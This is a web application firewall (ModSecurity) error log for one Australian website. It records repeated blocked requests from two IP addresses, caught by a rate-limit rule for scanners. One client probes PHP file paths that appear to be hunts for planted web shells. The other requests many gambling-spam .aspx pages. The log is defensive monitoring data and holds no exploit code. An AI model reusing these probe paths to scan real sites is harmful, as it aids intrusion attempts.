[Fri Mar 27 18:49:58.200889 2026] [:error] [pid 63897:tid 63918] [client 51.103.152.71:10461] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acZg1mVSkmYmLu7ycYg49gAAARM"]
[Fri Mar 27 18:49:59.156030 2026] [:error] [pid 27749:tid 27812] [client 51.103.152.71:24353] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZg18EqyoMni2Q6_X7l4gAAAFU"]
[Fri Mar 27 18:50:00.071739 2026] [:error] [pid 4293:tid 4299] [client 51.103.152.71:26147] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZg2JLjeJUC3OKtEx9OzAAAAUQ"]
[Fri Mar 27 18:50:02.184124 2026] [:error] [pid 4293:tid 4296] [client 51.103.152.71:21748] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZg2pLjeJUC3OKtEx9O3wAAAUE"]
[Fri Mar 27 18:50:03.966297 2026] [:error] [pid 27749:tid 27793] [client 51.103.152.71:24725] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acZg28EqyoMni2Q6_X7l7wAAAEI"]
[Fri Mar 27 18:50:05.074245 2026] [:error] [pid 27743:tid 27768] [client 51.103.152.71:23265] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "acZg3SA46UYYLqzw99C-FQAAAAQ"]
[Fri Mar 27 18:50:07.525740 2026] [:error] [pid 27743:tid 27786] [client 51.103.152.71:26148] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "acZg3yA46UYYLqzw99C-KwAAABY"]
[Fri Mar 27 18:50:13.527472 2026] [:error] [pid 27749:tid 27809] [client 51.103.152.71:18610] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "acZg5cEqyoMni2Q6_X7mAgAAAFI"]
[Fri Mar 27 18:50:15.237288 2026] [:error] [pid 4293:tid 4319] [client 51.103.152.71:11635] [client 51.103.152.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "acZg55LjeJUC3OKtEx9O7gAAAVg"]
[Fri Mar 27 20:30:44.972452 2026] [:error] [pid 27750:tid 27835] [client 95.91.110.210:36852] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acZ4dIaSil5rd17ieLz1DAAAAJE"]
[Fri Mar 27 20:30:47.792773 2026] [:error] [pid 27851:tid 27875] [client 95.91.110.210:12096] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acZ4d3R2ccxe3RMCLbrzoQAAANE"]
[Fri Mar 27 20:30:50.303592 2026] [:error] [pid 63897:tid 63900] [client 95.91.110.210:12106] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acZ4emVSkmYmLu7ycYhUpQAAAQE"]
[Fri Mar 27 20:30:53.065925 2026] [:error] [pid 27750:tid 27830] [client 95.91.110.210:12114] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "acZ4fYaSil5rd17ieLz1FwAAAIw"]
[Fri Mar 27 20:30:55.747392 2026] [:error] [pid 4341:tid 4345] [client 95.91.110.210:12128] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acZ4f-KJWrNB5dMlERGq5QAAAYI"]
[Fri Mar 27 20:30:58.338542 2026] [:error] [pid 27743:tid 27783] [client 95.91.110.210:28944] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acZ4giA46UYYLqzw99DryQAAABM"]
[Fri Mar 27 20:31:00.963743 2026] [:error] [pid 27750:tid 27824] [client 95.91.110.210:28974] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acZ4hIaSil5rd17ieLz1HgAAAIY"]
[Fri Mar 27 20:31:04.491816 2026] [:error] [pid 4293:tid 4307] [client 95.91.110.210:28998] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acZ4iJLjeJUC3OKtEx-TEwAAAUw"]
[Fri Mar 27 20:31:14.263868 2026] [:error] [pid 4293:tid 4312] [client 95.91.110.210:29002] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acZ4kpLjeJUC3OKtEx-TMwAAAVE"]
[Fri Mar 27 20:31:20.250263 2026] [:error] [pid 4293:tid 4317] [client 95.91.110.210:5062] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acZ4mJLjeJUC3OKtEx-TRgAAAVY"]
[Fri Mar 27 20:31:22.987151 2026] [:error] [pid 4341:tid 4353] [client 95.91.110.210:5074] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acZ4muKJWrNB5dMlERGrDAAAAYo"]
[Fri Mar 27 20:31:25.803465 2026] [:error] [pid 63897:tid 63915] [client 95.91.110.210:5076] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acZ4nWVSkmYmLu7ycYhUuwAAARA"]
[Fri Mar 27 20:31:28.454139 2026] [:error] [pid 27743:tid 27785] [client 95.91.110.210:39120] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acZ4oCA46UYYLqzw99DsDwAAABU"]
[Fri Mar 27 20:31:30.978165 2026] [:error] [pid 4341:tid 4348] [client 95.91.110.210:39124] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acZ4ouKJWrNB5dMlERGrFQAAAYU"]
[Fri Mar 27 20:31:33.798505 2026] [:error] [pid 27851:tid 27865] [client 95.91.110.210:39126] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acZ4pXR2ccxe3RMCLbrz1wAAAMc"]
[Fri Mar 27 20:31:36.623507 2026] [:error] [pid 4341:tid 4354] [client 95.91.110.210:39130] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acZ4qOKJWrNB5dMlERGrHQAAAYs"]
[Fri Mar 27 20:31:39.343056 2026] [:error] [pid 27851:tid 27861] [client 95.91.110.210:10858] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acZ4q3R2ccxe3RMCLbrz4AAAAMM"]
[Fri Mar 27 20:32:30.677835 2026] [:error] [pid 4341:tid 4367] [client 95.91.110.210:65292] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acZ43uKJWrNB5dMlERGregAAAZg"]
[Fri Mar 27 20:32:33.187908 2026] [:error] [pid 4293:tid 4308] [client 95.91.110.210:65300] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acZ44ZLjeJUC3OKtEx-UkwAAAU0"]
[Fri Mar 27 20:32:35.928866 2026] [:error] [pid 4293:tid 4304] [client 95.91.110.210:65302] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acZ445LjeJUC3OKtEx-UmwAAAUk"]
[Fri Mar 27 20:32:38.700722 2026] [:error] [pid 27743:tid 27764] [client 95.91.110.210:51876] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acZ45iA46UYYLqzw99Ds1gAAAAA"]
[Fri Mar 27 20:32:41.555737 2026] [:error] [pid 4293:tid 4311] [client 95.91.110.210:51888] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acZ46ZLjeJUC3OKtEx-UrgAAAVA"]
[Fri Mar 27 20:32:44.320649 2026] [:error] [pid 4293:tid 4311] [client 95.91.110.210:51900] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acZ47JLjeJUC3OKtEx-UuwAAAVA"]
[Fri Mar 27 20:32:46.989754 2026] [:error] [pid 4293:tid 4313] [client 95.91.110.210:51910] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acZ47pLjeJUC3OKtEx-UwAAAAVI"]
[Fri Mar 27 20:32:49.651827 2026] [:error] [pid 27743:tid 27774] [client 95.91.110.210:62716] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acZ48SA46UYYLqzw99Ds9QAAAAo"]
[Fri Mar 27 20:32:52.334519 2026] [:error] [pid 4341:tid 4351] [client 95.91.110.210:62722] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acZ49OKJWrNB5dMlERGrmQAAAYg"]
[Fri Mar 27 20:32:54.865143 2026] [:error] [pid 4293:tid 4300] [client 95.91.110.210:62726] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "acZ49pLjeJUC3OKtEx-U0QAAAUU"]
[Fri Mar 27 20:32:57.506756 2026] [:error] [pid 27851:tid 27872] [client 95.91.110.210:47484] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acZ4-XR2ccxe3RMCLbr0RAAAAM4"]
[Fri Mar 27 20:33:00.167826 2026] [:error] [pid 27743:tid 27782] [client 95.91.110.210:47496] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acZ4_CA46UYYLqzw99DtAgAAABI"]
[Fri Mar 27 20:33:02.907061 2026] [:error] [pid 4293:tid 4295] [client 95.91.110.210:47510] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acZ4_pLjeJUC3OKtEx-U4gAAAUA"]
[Fri Mar 27 20:33:05.342733 2026] [:error] [pid 4341:tid 4346] [client 95.91.110.210:47518] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acZ5AeKJWrNB5dMlERGrsQAAAYM"]
[Fri Mar 27 20:33:07.950728 2026] [:error] [pid 27743:tid 27778] [client 95.91.110.210:34942] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acZ5AyA46UYYLqzw99DtGAAAAA4"]
[Fri Mar 27 20:33:10.593594 2026] [:error] [pid 27749:tid 27794] [client 95.91.110.210:34946] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acZ5BsEqyoMni2Q6_X70fQAAAEM"]
[Fri Mar 27 20:33:13.391556 2026] [:error] [pid 4341:tid 4349] [client 95.91.110.210:34952] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acZ5CeKJWrNB5dMlERGrvgAAAYY"]
[Fri Mar 27 20:33:16.119585 2026] [:error] [pid 4293:tid 4310] [client 95.91.110.210:34960] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acZ5DJLjeJUC3OKtEx-VHQAAAU8"]
[Fri Mar 27 20:33:18.635093 2026] [:error] [pid 27743:tid 27777] [client 95.91.110.210:38132] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acZ5DiA46UYYLqzw99DtKAAAAA0"]
[Fri Mar 27 20:34:06.580134 2026] [:error] [pid 4293:tid 4318] [client 95.91.110.210:38146] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acZ5PpLjeJUC3OKtEx-VrAAAAVc"]
[Fri Mar 27 20:34:09.261652 2026] [:error] [pid 4293:tid 4315] [client 95.91.110.210:50896] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acZ5QZLjeJUC3OKtEx-VsAAAAVQ"]
[Fri Mar 27 20:34:11.838615 2026] [:error] [pid 4341:tid 4352] [client 95.91.110.210:50904] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acZ5Q-KJWrNB5dMlERGsGwAAAYk"]
[Fri Mar 27 20:34:14.491642 2026] [:error] [pid 27743:tid 27769] [client 95.91.110.210:50910] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acZ5RiA46UYYLqzw99DteAAAAAU"]
[Fri Mar 27 20:34:17.124515 2026] [:error] [pid 27851:tid 27866] [client 95.91.110.210:50916] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acZ5SXR2ccxe3RMCLbr0gAAAAMg"]
[Fri Mar 27 20:34:19.752601 2026] [:error] [pid 4341:tid 4359] [client 95.91.110.210:14582] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acZ5S-KJWrNB5dMlERGsJQAAAZA"]
[Fri Mar 27 20:34:22.267159 2026] [:error] [pid 4341:tid 4353] [client 95.91.110.210:14598] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acZ5TuKJWrNB5dMlERGsLgAAAYo"]
[Fri Mar 27 20:34:25.014974 2026] [:error] [pid 27743:tid 27765] [client 95.91.110.210:14612] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acZ5USA46UYYLqzw99DtgQAAAAE"]
[Fri Mar 27 20:34:27.465138 2026] [:error] [pid 4293:tid 4319] [client 95.91.110.210:38772] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acZ5U5LjeJUC3OKtEx-V0AAAAVg"]
[Fri Mar 27 20:34:30.222045 2026] [:error] [pid 4293:tid 4308] [client 95.91.110.210:38782] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acZ5VpLjeJUC3OKtEx-V1QAAAU0"]
